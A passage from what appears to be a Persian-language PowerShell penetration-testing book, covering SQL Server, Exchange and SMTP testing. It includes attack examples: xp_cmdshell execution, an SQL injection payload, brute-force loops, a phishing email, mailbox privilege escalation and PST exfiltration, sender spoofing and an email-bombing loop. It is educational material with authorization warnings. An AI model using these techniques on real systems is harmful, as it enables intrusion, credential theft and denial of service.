 EXEC xp_cmdshell 'whoami'; 
 ``` 

 : SQL Serverمربوط به   یهاسی سرو ی بررس  ی پرس و جو برا

```sql 
 EXEC xp_cmdshell 'sc query | findstr /i "SQL"'; 
 ``` 

  ی برا  ی تیامن   یابیاز ارز  ی توانند بخشی هستند که م  SQL  ج یرا  یهای از پرس و جوها و بررس   یبرخ  نهایا

Microsoft SQL Server 2016  خاص مورد استفاده ممکن است بر اساس   یباشند. پرس و جوها
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که    ی متخصصان  سط به کار گرفته شده تو  یهاپتیو ابزارها و اسکر یابیسازمان، محدوده ارز   ی تیامن  یهایمشخط 

 متفاوت باشد.   د،دهنی را انجام م امنیتی  یابیارز

SQL injection testing 

  جاد یرا با ا  SQL  ق یتواند حملات تزری م  PowerShellوب است.    یهابرنامه   جیرا  یر یپذ ب یآس   ک ی  SQL  قیتزر

 کند:  ی ساز هیدر برنامه شما شب یاحتمال یهایریپذ ب یسوء استفاده از آس   یمخرب برا  ی پرس و جوها

$productId = "1 OR 1=1; --" 
$command = $connection.CreateCommand() 
$command.CommandText = "SELECT * FROM Products WHERE ProductID = 
$productId;" 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 . د یکن  جادیا SQL  قیتزر  پیلود کی  "--;OR 1=1 1“  ی رو productId  م یبا تنظ .1

 باشد.  ریپذ بیآس   SQL  قیکه ممکن است در برابر تزر  د یرا اجرا کن ی کوئر .2

Brute-force attacks 

  ش یآزما  یبرا   SQL Server  یهاحساب  ه یعلرا    brute-forceحملات    توانند ی م  PowerShell  یهاپتیاسکر

 خودکار کنند: ،کاربر یهاقدرت گذرواژه 

$username = "admin" 
$passwords = Get-Content "passwords.txt" # Load a list of passwords 
from a file 
foreach ($password in $passwords) { 
     $command = $connection.CreateCommand() 
     $command.CommandText = "SELECT * FROM Users WHERE Username = 
'$username' AND Password = '$password';" 
     $result = $command.ExecuteScalar() 
     if ($result -ne $null) { 
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          Write-Host "Login successful for $username with password 
$password" 
           break 
     } } 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 .د یکن  فی ( را تعرpasswords.txt)  لیفا  کیشده در   رهیعبور ذخ ی از رمزها یستیل •

 .د ی با هر رمز عبور وارد شو د یکن  یو سع د یرا تکرار کن  ستیل •

 . د یشد از حلقه خارج شو دایورود موفق پ  ک یکه  یهنگام •

Access control verification 

کنترل   نانیاطم ح  گاهیپا  ت یامن  ی برا  ،مناسب  یدسترس   یهااز  به  ی م  PowerShellاست.    ی اتیداده  تواند 

 کمک کند.  SQL Server Instanceکاربر در  یهاو نقش  ازاتیامت یاعتبارسنج

Listing SQL server logins 

از    یستیل  یابیباز  یبرا  sys.sql_logins SQL Server  یپرس و جو از نما  یبرا  PowerShellاز    د یتوانی م

 : د یها استفاده کنآن  یهای ژگ یها و ونیلاگ

$command = $connection.CreateCommand() 
$command.CommandText = "SELECT name, type_desc, is_disabled FROM sys. 
sql_logins;" 
$logins = $command.ExecuteReader() 
while ($logins.Read()) { 
     Write-Host "Login: $($logins["name"]), Type: $($logins["type_ 
desc"]), Disabled: $($logins["is_disabled"])" 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 .د یپرس و جو را اجرا کن ک ی SQL Server لاگین اطلاعات مربوط به  یابیباز یبرا .1

 .مشاهده نمایید را   ستمیبودن ورود به س  رفعالی، نوع و غلاگیننام  .2
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Checking user privileges 

استفاده    SQL Serverکاربر خاص    کیاختصاص داده شده به    ازاتیامت  د ییتأ  یتوان برای م  PowerShellاز  

 کرد: 

$targetUsername = "JohnDoe" 
$command = $connection.CreateCommand() 
$command.CommandText = "EXEC sp_helprotect @username;" 
$command.Parameters.AddWithValue("@username", $targetUsername) 
$privileges = $command.ExecuteReader() 
while ($privileges.Read()) { 
     Write-Host "Object Name: $($privileges["Object_Name"]), 
Permission: $($privileges["Permission_Name"]), Grantor: 
$($privileges["Grantor"])" 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 . د ی( را مشخص کنtargetUsername$مورد نظر ) ی نام کاربر .1

 .د یکاربر اجرا کن  ازاتیامت یابیباز  ی( را برا sp_helprotect)  Stored Procedure کی .2

 مجوزها و اعطا کنندگان. اء،یاطلاعات در مورد نام اش  شینما .3

Security policy testing 

SQL Server   را اعمال کنند.    یتیامن  ماتیها و تنظاستیدهد تا س ی اجازه م  رانیبه مدPowerShell  تواند ی م  

 هماهنگ هستند.  هاوه یش   ن یحاصل شود که با بهتر  نانی طور خودکار انجام دهد تا اطمرا به  های مشخط   نیا  یابیارز

Password policy assessment 

  ماتیتنظ یابیارز  یبرا  SQL Serverتواند از  ی م PowerShellمهم است.    اریرمز عبور بس  یهااستیس   یابیارز

 پرس و جو کند:  ی رمز عبور فعل یخط مش

$command = $connection.CreateCommand() 
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$command.CommandText = "SELECT * FROM sys.sql_logins WHERE is_policy_ 
checked = 1;" 
$passwordPolicies = $command.ExecuteReader() 
while ($passwordPolicies.Read()) { 
     Write-Host "Login: $($passwordPolicies["name"]), Password Policy 
Enforced: $($passwordPolicies["is_policy_checked"])" 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

رمز عبور اجرا   یهایمشبا فعال بودن خط  ستمیاطلاعات در مورد ورود به س  ی ابیباز ی پرس و جو برا کی .1

 .د یکن

 . ریخ ایشود ی اعمال م ستمیهر ورود به س  یرمز عبور برا یهااست یس  ایآ نکهیا شینما .2

Encryption and SSL/TLS 

  نیها در حمحافظت از داده   یبرا   SSL/TLSو استفاده از    یرمزگذار  ماتیتنظ  یابیشامل ارز  د یبا  یتیتست امن

 انتقال باشد:

$command = $connection.CreateCommand() 
$command.CommandText = "SELECT name, protocol_desc, local_net_address, 
local_tcp_port, type_desc, role_desc FROM sys.dm_exec_connections;" 
$connections = $command.ExecuteReader() 
while ($connections.Read()) { 
     Write-Host "Name: $($connections["name"]), Protocol: 
$($connections["protocol_desc"]), Local Address: 
$($connections["local_net_address"]), Local Port: 
$($connections["local_tcp_port"]), Type: $($connections["type_desc"]), 
Role: $($connections["role_desc"])" 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 . د یپرس و جو را اجرا کن ک یاطلاعات مربوط به اتصالات فعال  یابیباز یبرا .1

 نوع اتصال و نقش. ،یپورت محل   ، یدر مورد نام اتصال، پروتکل، آدرس محل اتیجزئ شینما .2
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Data protection and encryption 

  SQL Serverشده در    یساز  اده یپ  ی ها و رمزگذارسطح حفاظت از داده   ی ابیارز  یتوان برا ی م  PowerShellاز  

 استفاده کرد. 

Data encryption 

و در حال انتقال    At Restها را در حالت داده   SQL Server  ا یآ  نکهیا  ی بررس   یبرا  PowerShellاز    د یتوانی م

 : د یاستفاده کن ر یخ ایکند ی م ی رمزگذار

$command = $connection.CreateCommand() 
$command.CommandText = "SELECT name, is_encryption_enabled, 
encryption_type_desc FROM sys.dm_database_encryption_keys;" 
$encryptionKeys = $command.ExecuteReader() 
while ($encryptionKeys.Read()) { 
     Write-Host "Database: $($encryptionKeys["name"]), Encryption 
Enabled: $($encryptionKeys["is_encryption_enabled"]), Encryption Type: 
$($encryptionKeys["encryption_type_desc"])" 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 . د یداده، پرس و جو را اجرا کن گاهیپا ی رمزگذار یدهایاطلاعات کل یابیباز یبرا .1

 . ریخ ا یفعال است  یداده و نوع رمزگذار  گاهیهر پا یبرا یرمزگذار   ایآ نکهیا شینما .2

Backup security 

و    ماتیتنظ  ی بررس   ی توان برای م  PowerShellمهم است. از    SQL Server  یهای ریگبان یپشت  ت یامن  یابیارز

 استفاده کرد:  بانیپشت ی مجوزها

$command = $connection.CreateCommand() 
$command.CommandText = "EXEC sp_MSforeachdb 'USE [?]; SELECT name, 
recovery_model_desc, is_broker_enabled FROM sys.databases;'" 
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$databases = $command.ExecuteReader() 
while ($databases.Read()) { 
     Write-Host "Database: $($databases["name"]), Recovery Model: 
$($databases["recovery_model_desc"]), Service Broker Enabled: 
$($databases["is_broker_enabled"])" 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

به مدل   ی ابیباز  یبرا .1 مربوط  هر    ی برا   ی کوئر  ک ی،  Service Broker  تی و وضع  ی ابیباز  یهااطلاعات 

 . د یداده اجرا کن گاهیپا

 . Service Broker ت یو وضع یابیباز یهاداده، مدل  گاهینام پا شینما .2

Logging and monitoring 

PowerShell  ثبت و نظارت    یهات یقابل  یابیتواند در ارزی مSQL Server  و پاسخ به حوادث    ییشناسا  ی برا

 کمک کند.  یتیامن

Reviewing SQL server error logs 

از مسائل مربوط    یاهرگونه نشانه   یبرا   SQL Server  یخطا   یهاگزارش   ی بررس   یبرا  PowerShellاز    د یتوانی م

 : د یاستفاده کن ت یبه امن

$command = $connection.CreateCommand() 
$command.CommandText = "EXEC xp_readerrorlog;" 
$errorLogs = $command.ExecuteReader() 
while ($errorLogs.Read()) { 
     Write-Host "Log Date: $($errorLogs["LogDate"]), Process Info: 
$($errorLogs["ProcessInfo"]), Message: $($errorLogs["Text"])" 
} 

 : میدهی را انجام م ر یموارد زمثال   نیدر ا

 . د یپرس و جو را اجرا کن کی  SQL Server  یها از گزارش خطای ورود  یابیباز یبرا .1

 گزارش. یهاام یگزارش، اطلاعات پردازش و پ یهاخیتار شینما .2
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Monitoring SQL Server audit logs 

SQL Server  ها کمک کند. از  ت یو نظارت بر فعال  یابیتواند به ردیکند که م ی را فراهم م  یزیمم  یهات یقابل

PowerShell  یحسابرس  یهاگزارش  ل یو تحل  هی پرس و جو و تجز ی توان برای م SQL Server  :استفاده کرد 

$command = $connection.CreateCommand() 
$command.CommandText = "SELECT * FROM sys.fn_get_audit_file('C:\ 
Audit\*.sqlaudit', DEFAULT, DEFAULT);" 
$auditLogs = $command.ExecuteReader() 
while ($auditLogs.Read()) { 
     Write-Host "Event Time: $($auditLogs["event_time"]), Action: 
$($auditLogs["action_id"]), Object Name: $($auditLogs["object_name"])" 
} 

 : میدهی م را انجام ر یمثال موارد ز  نیدر ا

 .د یاجرا کن  SQL Server یحسابرس  یهاها از گزارش ی ورود  یابیباز ی پرس و جو برا کی .1

 . ایاقدام و نام اش  یهاشناسه  دادها،یزمان رو شینما .2

  یت ی، متخصصان امنSQL Server  یتیامن  یهای ژگ یو و  PowerShell  یسینو  پتیاسکر  یهات یبا استفاده از قابل

حساس محافظت کنند و    یهاکنند، از داده   ت یرا تقو  SQL Serverداده    یهاگاهی پا  ی تیامن  ت یتوانند وضعی م

 را به طور موثر کاهش دهند. یاحتمال داتیتهد 

انجام    ی و اخلاق  ی مسئولانه و در محدوده ملاحظات قانون  د یبا  شه یهم  ی تی نکته مهم است که تست امن  ن یتوجه به ا

مجوز مناسب را    شهیداشته باشد. هم  یجد   ی و اخلاق  یتواند عواقب قانون ی مخرب م  ای   رمجازی غ  یتیشود. تست امن

 د. یدنبال کن  یتیتست امن  ی ها را براروش  نیو بهتر د یکن افتیدر

Summary 

ا  یبرا کردن  داده   ن یخلاصه  نشان  م   میافصل،  چگونه  در    یبرا  PowerShellاز    توانی که  نفوذ  تست  انجام 

 Microsoftو    MySQL  ،PostgreSQL  یهاداده   گاه یمختلف استفاده کرد. توجه به پا  SQLداده    یهاگاهیپا

SQL Server  حمله    ینشان دادن بردارها  ینمونه کار شده برا  یسر  کی داده،    گاهیهر نوع پا  یمعطوف شد. برا

 مختلف استفاده شد.
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از   استفاده  نحوه  بعد،  فصل  برا  PowerShellدر  امن  ی را  تست  سرورها  یتی انجام  برابر  مانند    لیمیا  یدر 

Exchange  ،SMTP ،IMAP  وPOP آموخت.  م یخواه 
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 Email Services: Exchange, SMTP, IMAP, and POP -  هشتمفصل 
. ارتباطات  پردازدی م  Mail  ی در انواع مختلف سرورها  یریپذ ب یآس   یهای ابیانجام ارز  ی اتیح  ند یفصل به فرآ  نیا

ا  ط ی در مح  یاساس   ی نقش  لیمیا به ایم   فای کسب و کار مدرن  از    ل یمیا  ی سرورها  یسازمنیا  ب، یترت  ن یکند و 

  ل، یمیا یهاس یو در دسترس بودن سرو یکپارچگ یاز محرمانه بودن،  نانیاطم ی برخوردار است. برا ییبالا تیاهم

 است. ی استفاده کنند، ضرورها سوء توانند از آن ی که عوامل مخرب م ییهایریپذ ب یو رفع آس  ییشناسا

شما است. در    لیمیا  یسرورها  ی تیامن  تیوضع  ت یدرک و تقو  یبرا   رانهیشگ یپ  کردی رو  ک ی  یریپذ بیآس   یابیارز

 کرد:   می تمرکز خواه یریپذ بیآس   یابیارز یسه جنبه اساس  یفصل، ما بر رو  نیا

Port identification:   نیاست. ا  لیمیبه سرور ا  ینقاط ورود   ییشناسا  ،یریپذ ب یآس   یابیگام در ارز  نیاول  

شوند. هر پورت باز مربوط  ی نشان داده م  ی و داخل  یخارج  یهابه شبکه   ی باز قابل دسترس   یهابا پورت   ی نقاط ورود

به شما در درک    را یز  ستا   ی ها ضرور پورت   نیا  ییکند. شناسای ارائه م  ل یمیاست که سرور ا  ی پروتکل  ای  س یبه سرو

  یی هاآن پورت   ی را که رو  ی سیهر سرو  تیتا امن  سازدیدانش شما را قادر م   نیکند. ای مسطح حمله سرور کمک 

. به عنوان مثال، هنگام  نمایید  ییرا شناسا یریپذ ب یآس  ا ینادرست  ی کربند یو هرگونه پ د یکن ی ابیارز شودی اجرا م

  ی برا  995 ایاستاندارد  POP3 ی برا 110باز مانند  یهاپورت یی، شناساPOPمبتنی بر  Mailسرور  کی یابیارز

POP3S خواهد بود.  شتری ب یهایابیو اساس ارز ه یدر حال استفاده، پا یهامهم است. درک پورت  اریبس 

Authentication :  نی. اکند ی رد م   ایرا مجاز    ل یمیبه منابع سرور ا  یاست که دسترس   نگهبانی  ،تیاحراز هو  

  ی ابیکنند. ارز  تیریو مد   افتیرا ارسال، در  لیمیا  یهاامیتوانند پی فقط کاربران مجاز مکند که  ی م  ن یتضم  بخش

 ی ریپذ ب یآس   یابیارز  ند یآ در فر  یگام اساس   کی  ل،یمیبه کار گرفته شده توسط سرور ا   تیاحراز هو  یهاسمیمکان

و محافظت از    رمجازیغ  یاز دسترس   یریجلوگ  یبرا  یمناسب و قو   یکربند یبا پ  تیاحراز هو  یهازمیمکان  است.

در برابر   و مقاوم بودن آن  ت یاحراز هو ند یفرآ  یشامل بررس در این بخش  یابیارز هستند. یاتیحساس ح یهاداده 

این    نی. همچنباشد می   یرمز عبور قو   یهااستیاعمال س   و پیکربندی مناسب در مورد   brute-forceحملات  

  ،ی عواق  ی ویسنار  کیدر  در ادامه،  ( در صورت لزوم است.  MFA)  یچند عامل  تیاحراز هو  یاجرا  د ییشامل تأ  ارزیابی

داد.    م یرا نشان خواه  یرد دسترس   ای  یاعطا  ی سرور برا  ییتوانا  ی ابیارز  ی برا  تیاحراز هو  یهانحوه شروع تلاش 

  ی دسترس   لیمیا  ستمیتوانند به س ی م   یکند که فقط کاربران قانونی م  نیتضم  تیاحراز هو  یهاسم یمکان  تیدرک امن

 داشته باشند.

Banner grabbing:  است که معمولاً هنگام    سیسرو  یشامل استخراج اطلاعات از بنرها  کیتکن  این

را در مورد    یارزشمند   یهانشیتوانند بی م  سی سرو  یشود. بنرهای ارتباط توسط سرورها ارائه م  یبرقرار
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با    القوهب  یهایریپذ بیآس   ییدر شناسا  اتیجزئ  نی. ابه ما ارائه دهند   سرور  یکربند یافزار، نسخه و پنرم  مرتبط 

تواند  یبنر م  شناسایی،  SMTPهستند. به عنوان مثال، هنگام اتصال به سرور    د یخاص مف  یافزارنرم  یهانسخه 

به   را یاست ز ی ضرور افزار سرورآشکار کند. دانستن نسخه نرم  ، و نسخه آن ل یمیافزار سرور ادر مورد نرم  یاطلاعات

  رانه یشگ یپ  ی تیو اقدامات امن  آن را شناسایی نمودهشناخته شده    یهاها و وصله یریپذ ب یآس   دهد تا می   امکان  ماش 

 . ها انجام دهید برای آن را 

دهند. در  ی م   لیرا تشک  لی میا  ی سرورها  ی برا  ی قو  یر یپذ ب یآس   ی ابیارز  ی استراتژ  ک یسه جزء در مجموع    نیا

مثال  نیا  یبعد   یهابخش تکنفصل،  و  از    یعمل  یهاک یها  استفاده  با  عنوان  ،  PowerShellرا  ابزار    کی به 

  ن ی ا  انیکرد. در پا  میارائه خواه  یابیارز  یهااز جنبه   کی انجام هر    ی همه کاره، برا  ون یو اتوماس   یسینوپتیاسکر

ارز  یفصل، خوانندگان درک جامع  نحوه  اطم  ل یمیا  یسرورها  تیامن  یابیاز  و  حاصل    نانیخود خواهند داشت 

 ماند. ی م  یباق یاحتمال داتیمحرمانه، قابل اعتماد و مقاوم در برابر تهد   لیمیکنند که ارتباطات ای م

 فصل آمده است:  نیدر ا یمورد بررس  یموضوعات اصل ر یدر ز

• PowerShell and Exchange 

• PowerShell and SMTP 

• PowerShell and Internet Message Access Protocol (IMAP) 

• PowerShell and POP 

PowerShell and Exchange 

  ی اتیسازمان ح  ک ی  ل یمیا  رساختیز  یسازمن یا  ی برا  Microsoft Exchange  یانجام تست نفوذ در سرورها 

ا در  چگونگ   نیاست.  از    یبخش،  برا  PowerShellاستفاده  سرورها  یرا  در  نفوذ   Microsoft  یتست 

Exchangeکرد.  میخواه  یبررس  ، ی، با تمرکز بر شمارش و بهره بردار 

Enumeration with PowerShell 

جمع    یبرا   PowerShellاست. ما از    Exchangeسرور    ت یامن  یابیگام در ارز  نی اول   Enumerationمرحله  

 .میکنی استفاده م یاحتمال یهایریپذ بیآن و آس   یکربند یاطلاعات در مورد سرور، پ ی آور

Autodiscover Enumeration 

Autodiscover مهم   یاز اجزا ی کیExchange Server  مات یدهد تنظی اجازه م لی میا انیاست که به مشتر  

در    یدهند تا اطلاعاتی را هدف قرار م  سیسرو  نیسرور را به طور خودکار کشف کنند. مهاجمان اغلب ا

  Autodiscover Enumerationانجام    یتوان برا ی م   PowerShellمورد سرور به دست آورند. از  
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کند و اطلاعات  ی م  شیمشخص شده آزما  Exchangeسرور    یرا برا  Autodiscoverزیر  کرد. دستور    استفاده

 دهد:ی را نشان م یارزشمند  یکربند یپ

Test-OutlookWebServices -ClientAccessServer mail.snowcapcyber.com 
-Autodiscover 

User enumeration 

  دستور   توان از ی است. م   یضرور   شتر یب  ی بردارو بهره   یاجتماع  یمهندس   یمعتبر برا   لیمیا  یهاحساب  ییشناسا

Get-User  و    یشینما  یهانام   ل، یمیا  یها دستور همه حساب   نیاستفاده کرد. ا  لیمیا  یهاحساب  شناسایی  ی برا

 :کند ی را فهرست م SMTP یهاآدرس 

Get-User | Select-Object DisplayName, PrimarySmtpAddress 

  استفاده از دستور   را با  یعموم  یهاپوشه   د یتوانی است. م  یاز سطوح حمله احتمال  گرید  یکی  ی عموم  یهاپوشه

Get-PublicFolder  شناسایی نمایید: 

Get-PublicFolder 

 اطلاعات حساس باشد.  ی دهد که ممکن است حاوی را ارائه م ی عموم یهااز پوشه  ی ستیدستور ل نیا

Exchange Version Enumeration 

شناخته شده کمک    یهایریپذ بیآس   ییبه شناسا  رایمهم است ز  ار یبس  Exchangeسرور    ق یدانستن نسخه دق

و    Exchangeدستور نام سرور    نیاطلاعات نسخه استفاده کرد. ا  یابیباز  یتوان برا یم   PowerShellکند. از  ی م

 کند: ی نسخه آن را فهرست م

Get-ExchangeServer | Select-Object Name,AdminDisplayVersion 

Exploitation with PowerShell 

شده    Exchangeسرور    Enumerationفرآیند  که    یهنگام آس انجام  شناسا  یاحتمال  یهایریپذ ب یو   ییرا 

انجام شود، فقط    ی اخلاقبه صورت  و    اطیبا احت  د یمرحله با  نیاست. ا  یبهره بردار  ی مرحله بعد   د، یکرد

، اقدام به انجام فرآیند اکسپلویت یا بهره برداری  د یها را دارآن   ش یآزما  حیکه مجوز صر   ییهاستم یدر س 

 نمایید. 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

Phishing attacks 

PowerShell  کاربران در سرور    یرا برا   نگیشیف  یهالی میتواند ای مExchange  ی محتوا  د یتوانی ارسال کند. م  

 :نمایید ها استفاده ارسال آن  یبرا  PowerShellو از  د یکن  جاد یا را مخرب  لیمیا

Send-MailMessage -From attacker@snowcapcyber.com -To victim@ 
snowcapcyber.com -Subject "Important: Urgent Action Required" -Body 
"Click here to reset your password: http://maliciouslink.com" 
-SmtpServer mail.contoso.com 

دهند تا اطلاعات حساس را فاش    بیقانع کننده، کاربران را فر  نگ یشیف  یهالیمیتوانند با ارسال ا ی مهاجمان م

 کنند.

Credential Harvesting 

کاربران ف  ی قربان  ، اگر  م  یاجتماع  ی مهندس   یهاک یتاکت  گرید   ا ی  نگ یشیحملات  مهاجمان    توانند ی شوند، 

Credential    توان از  ی م  ریکنند. مانند مثال ز  افتیخود را درمورد نیازPowerShell  استخراج اطلاعات    ی برا

 ورود استفاده کرد: 

$cred = Get-Credential 
$cred.GetNetworkCredential().Password 

Get-Credential  و    ردیگی را م  اطلاعات ورودGetNetworkCredential() کند.ی رمز عبور را استخراج م 

Mailbox access 

  ی قربان  Mailboxتواند به  ی کند، به طور بالقوه م  دایپ  ی کاربر دسترس   ک ی  ی مهاجم به اطلاعات کاربر  ک یاگر  

ها  و استخراج داده   هال یمیخواندن ا  ،Mailboxبه    یدسترس   ی برا  توانی م   PowerShellداشته باشد. از    یدسترس 

ا به    نموده   جادی ا  Exchange  وراز راه دور به سر  Session  کی   پتیاسکر  ن یاستفاده کرد.  و اطلاعات مربوط 

 کند: ی م یابیرا باز  ی قربان Mailbox یدسترس 

$Session = New-PSSession -ConfigurationName Microsoft.Exchange 
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-ConnectionUri http://mail.contoso.com/PowerShell/ -Authentication 
Kerberos 
Import-PSSession $Session 
Get-Mailbox -User victim@snowcapcyber.com | Get-MailboxStatistics | 
Format-List LastLoggedOnUserAccount, LastLogonTime 

Privilege escalation 

تواند  یم  نیباشد. ا  Exchangeدر سرور    ازاتیامت  شیمهاجم ممکن است به دنبال افزا  کی  ه،یاول  یپس از دسترس 

ها ت یفعال  نیا  یباشد. برا  ادمین   یهاکنترل حساب  ای  ،ی اضاف  ازاتیامت  ی اعطا  ،Mailbox یمجوزها  رییشامل تغ

 دهد:ی را م یقربان Mailboxکامل به   یسترس دستور به مهاجم د ن یاستفاده کرد. ا PowerShellتوان از ی م

Add-MailboxPermission -User attacker@snowcapcyber.com -AccessRights 
FullAccess -Identity victim@snowcapcyber.com 

Exploiting known vulnerabilities 

د،  Exchange  یسرورها افزار  نرم  هر  آس ی م  ، یگریمانند  شده   یهای ریپذ بیتوانند  باشند.   یاشناخته  داشته 

هدف سوء استفاده کند. به عنوان مثال، اگر    ستمیدر صورت وجود در س   هایریپذ بی آس   نیتواند از ای پاورشل م

مرتبط    PowerShell  یبردار ره به  پت یاسکر  کی   یدارا  Exchangeشناخته شده در سرور    یریپذ ب یآس   کی

 آن را اجرا کرد:  توان یباشد، م

Data exfiltration 

  ن یاستفاده کنند. ا  Exchangeحساس از سرور    یهااستخراج داده   ی برا  PowerShellمهاجمان ممکن است از  

شامل  ی م ساوستیپ  ن، یمخاطب  ل،یمیا  Exportتواند  و  ا  ریها  باشد.  حساس  محتو  نیاطلاعات    ات یدستور 

Mailbox یشخص یساز ره ی جدول ذخ لیفا  کیرا به  ی قربان (PST در ) کی Share   بکهش Export  کند:ی م 

New-MailboxExportRequest -Mailbox victim@snowcapcyber.com -FilePath 
"\\server\share\export.pst" 

باشند.    ریپذ برگشت  د یمستند شده باشد و همه اقدامات با  یبه خوب  د یتست نفوذ با  یبرا   PowerShellاستفاده از  

خود    ت یبهبود امن  یها براو کمک به سازمان   هایریپذ بیآس   ییشناسا  یتست نفوذ اخلاق   هی هدف اول

 . ب یا خرابی در سیستمیآس  جادیاست، نه ا
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در    ژه ی، به وMicrosoft Exchange  ی تست نفوذ در سرورها  ی ابزار ارزشمند برا  کی   PowerShell  جه، ی در نت

بردار  شناساییمراحل   بهره  ا  یو  با  برخورد مسئولانه، اخلاق  ن یاست.  ا  ی حال،  به  با مجوز مناسب    فه ی وظ  ن یو 

از محرمانه بودن،   نانیاطم ی برا Exchangeدر سرور   ی تیو رفع نقاط ضعف امن  ییشناسا ما است. هدف  ی ضرور

 است.  لیمیو در دسترس بودن خدمات ا یکپارچگ ی

PowerShell and SMTP 

  PowerShellمهم است.    اریسازمان بس  ک ی  ل یمیا  رساختیز  ی ابیارز  ی برا  SMTP  ی انجام تست نفوذ در سرورها

ارزشمند ی م ابزار  امن  ی تواند  متخصصان  به  که  م  ی تیباشد  آس ی کمک  تا  شناسایریپذ ب یکند  را  و    ییها  کرده 

  SMTP  یتست نفوذ سرورها  ی برا  PowerShellمقاله نحوه استفاده از    ن یکنند. در ا  منیرا ا  SMTP  یسرورها

 کرد. م یخواه ی را بررس  ی و بهره بردار شناساییبا تمرکز بر 

Enumeration with PowerShell 

Enumeration  اطلاعات در مورد سرور    ی که هدف آن جمع آور  بوده در هر تست نفوذ    هی مرحله اولSMTP  

به ما  مرحله    نیسرور در ا  یکربند یارزشمند در مورد پ  اتیتواند با استخراج جزئی م  PowerShellهدف است.  

 کمک کند. 

SMTP banner enumeration 

  دستور   ازبا استفاده  کند.  یو نسخه نرم افزار سرور را فاش م   ت یاست که هو  یاطلاعات ارزشمند دارای    SMTPبنر  

Test-NetConnection   بنر  شناسایی به توان یمSMTP پرداخت: 

Test-NetConnection -ComputerName mail.snowcapcyber.com -Port 25 

  ی ابیشود و بنر را که اغلب شامل اطلاعات نسخه است بازی متصل م  25در پورت    SMTPدستور به سرور    نیا

 کند.ی م

SMTP user enumeration 

  است. از   یبالقوه ضرور  یبردارو بهره   یاجتماع  یمهندس  ی برا  SMTPمعتبر در سرور    لیمیا  یهاآدرس   ییشناسا

 ها استفاده کرد: آدرس  شیآزما ی توان برای م  Send-MailMessageدستور
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Send-MailMessage -To "user@snowcapcyber.com" -From "attacker@ 
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com 

 کند.ی م  د ییرا تأ  ل یمیداده شود، وجود آدرس ا ل یتحو  تیبا موفق امیاگر پ

Open relay detection 

  رد، یمورد سوء استفاده قرار گ  رمجازیغ  لیمیارسال ا  یتواند برای باز، که م   Relay SMTP Server  کی  ییشناسا

است.    اریبس اسکری م  PowerShellمهم  از  استفاده  با  در    Test-SMTPOpenRelay  پتیتواند  موجود 

GitHub ش یبه آزماRelay  باز کمک کند:  یها 

 

.\Test-SMTPOpenRelay.ps1 -Server mail.snowcapcyber.com 

 .ریخ ایدهد ی را م   رمجازیغ لیمیاجازه ارسال ا SMTPسرور   ایکند که آی م  یبررس  پتیاسکر نیا

SMTP command enumeration 

-Sendآن ارائه دهد. از    یهات یدر مورد قابل  ینشیتواند بی م  SMTPشده سرور    یبانیدستورات پشت  شناسایی

MailMessage   ارسال دستورات  یتوان برای مSMTP  استفاده کرد:  یسفارش 

Send-MailMessage -To "user@snowcapcyber.com" -From "attacker@ 
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com -Port 25 -Body 
"EHLO" 

که    د یکن  شیآزما  د یتوانی، م "EXPN"  ای  "VRFY"مانند    SMTPدستورات    ریبا سا  "EHLO"کردن    نیگزیبا جا

 شوند.ی م یبانیکدام دستورات توسط سرور پشت

Exploitation with PowerShell 

مهم    اری. بسد یکرد  ی را جمع آور   SMTPشود که اطلاعات مربوط به سرور  ی شروع م   ی زمان  ی مرحله بهره بردار

ها آن   یبرا   حیکه مجوز صر  د یکن  شیرا آزما  ییهاستمی فقط س   د،یشو  کیمرحله نزد   نیبه ا  اطیاست که با احت

 .د یدار
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Spoofing sender addresses 

توان با استفاده  ی را م  نیاستفاده کرد. ا  یفرستنده جعل  یهابا آدرس   لیمیارسال ا  یتوان برا ی م  PowerShellاز  

 بدست آورد:   From-با پارامتر  Send-MailMessage دستور  از

Send-MailMessage -To "user@snowcapcyber.com" -From "ceo@snowcapcyber. 
com" -SmtpServer mail.snowcapcyber.com 

منبع قابل اعتماد    کیاز    لیمیدهد تا فکر کنند ا  بی را فر  رندگانیگ  تواند ی ، مهاجم مFrom-پارامتر    رییبا تغ

 ارسال شده است.

Email bombing 

PowerShell  غلبه بر سرور    یرا برا  یادیز  یهالی میا  تواند ی مSMTP  انکار    تیوضع  جادیارسال کند و باعث ا

م  Send-MailMessage  دستور  ( شود. DoS)  سیسرو برا ی را  بالا  ع ی ارسال سر  یتوان  ا  یی حجم  ها ل یمیاز 

 کرد:  پتیاسکر

1..100 | ForEach-Object { 
     Send-MailMessage -To "user@snowcapcyber.com" -From "attacker@ 
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com 
} 

 آن را مختل کند.  یو عملکرد عاد  مصرف نموده تواند منابع سرور را  ی ها مل یمیاز ا یاریارسال بس

User enumeration 

معتبر استفاده    یهاحساب  ییو شناسا  لیمیا  یهاآدرس   شناساییخودکار کردن    یبرا   توانی م   PowerShellاز  

کند که کدام    ن ییسرور تع  یهامختلف و نظارت بر پاسخ  یهابه آدرس   لیمیتواند با ارسال ای مهاجم م  کی کرد.  

و بر اساس پاسخ سرور مشخص    کند ارسال میها  از آدرس   ی ستیها را به للیمیا  پتیاسکر  نیها وجود دارد. اآدرس 

 معتبر هستند:  کیکند که کدام ی م

$email_addresses = "user1@snowcapcyber.com", "user2@snowcapcyber. 
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com", "user3@snowcapcyber.com" 
$valid_addresses = @() 
foreach ($address in $email_addresses) { 
     $result = Send-MailMessage -To $address -From "attacker@ 
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com -ErrorAction 
SilentlyContinue 
     if ($result -eq $null) { 
          $valid_addresses += $address 
     } 
} 
Write-Host "Valid Email Addresses: $($valid_addresses -join ', ')" 

Brute-force attacks 

PowerShell حملات   تواند ی مbrute-force  یهارا به حساب  SMTP  با    ستم یورود به س  ی با تلاش مکرر برا

